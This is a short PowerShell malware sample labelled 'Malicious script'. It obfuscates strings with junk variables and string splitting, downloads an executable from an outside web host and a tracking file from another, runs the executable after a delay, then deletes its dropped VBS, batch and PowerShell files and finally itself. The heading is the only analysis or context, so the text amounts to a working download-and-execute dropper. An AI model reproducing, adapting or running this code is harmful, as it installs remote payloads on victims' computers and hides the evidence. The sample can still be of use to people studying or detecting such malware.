Malicious script

$ujdkwq = 'jqwdb';
$stat = 'ht'+'tp://'+''+'savepic.su/5757956.jpg';
$ggtt = 'http://bluemagicwarranty.com/wp-includes/theme-compat/getrichtoday.exe';
$pths = 'C:\Users\PSPUBWS\AppData\Local\Temp\';
$wehs = '26417';
$nnm = '8';
$ajsghdjas='absghjdasjgdas';
$asdhjassad='2ygeqwgheqwgjhegqjwgqej sad';
$down = New-Object System.Net.WebClient;
$asdasdas='2geyu2ty1tyeu12g2eg e';
$file = $pths+$nnm+'.exe';
$statsfile = $pths+'444.jpg';
$down.headers[''+'User-Agent'] = ''+'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25'+'';
$dasdw='asdgjasd';
$down.DownloadFile($ggtt,$file);
$down.DownloadFile($stat,$statsfile);
$asndjkashdas='hqugdhjgqw hj2gjh1gd hj12ghej1';
$ScriptDir = $MyInvocation.ScriptName;
$vbsFilePath = $pths+$wehs+'.'+'v'+'bs'+'';
$statFilePath = 'c:\Users\MM\AppData\Local\Temp\444'+'.'+'jpg';
$btFilePath = $pths+$wehs+'.'+'b'+'at';
$psFilePath = $pths+$wehs+'.'+'ps'+'1';
$asdhjqgwdq='qhwgdjqwghdjqw';
$qwbhg21jd21h='jakshdjhagsdasd';
Start-Sleep -s 13;
cmd.exe /c  $file;
$file1 = gci $vbsFilePath -Force
$nqjwdhgjqwd='qvdhqgwjdgwq';
$file2 = gci $btFilePath -Force
$file3 = gci $psFilePath -Force
$kasldds = $vbsFilePath
If (Test-Path $kasldds){ Remove-Item $kasldds }
If (Test-Path $btFilePath){ Remove-Item $btFilePath }
If (Test-Path $statFilePath){ Remove-Item $statFilePath }
$asbdhjags = 'jahdjkhdjk21 21hjkhe jkhsakhd assd';
If (Test-Path $file){ Remove-Item $file }
Remove-Item $MyINvocation.InvocationName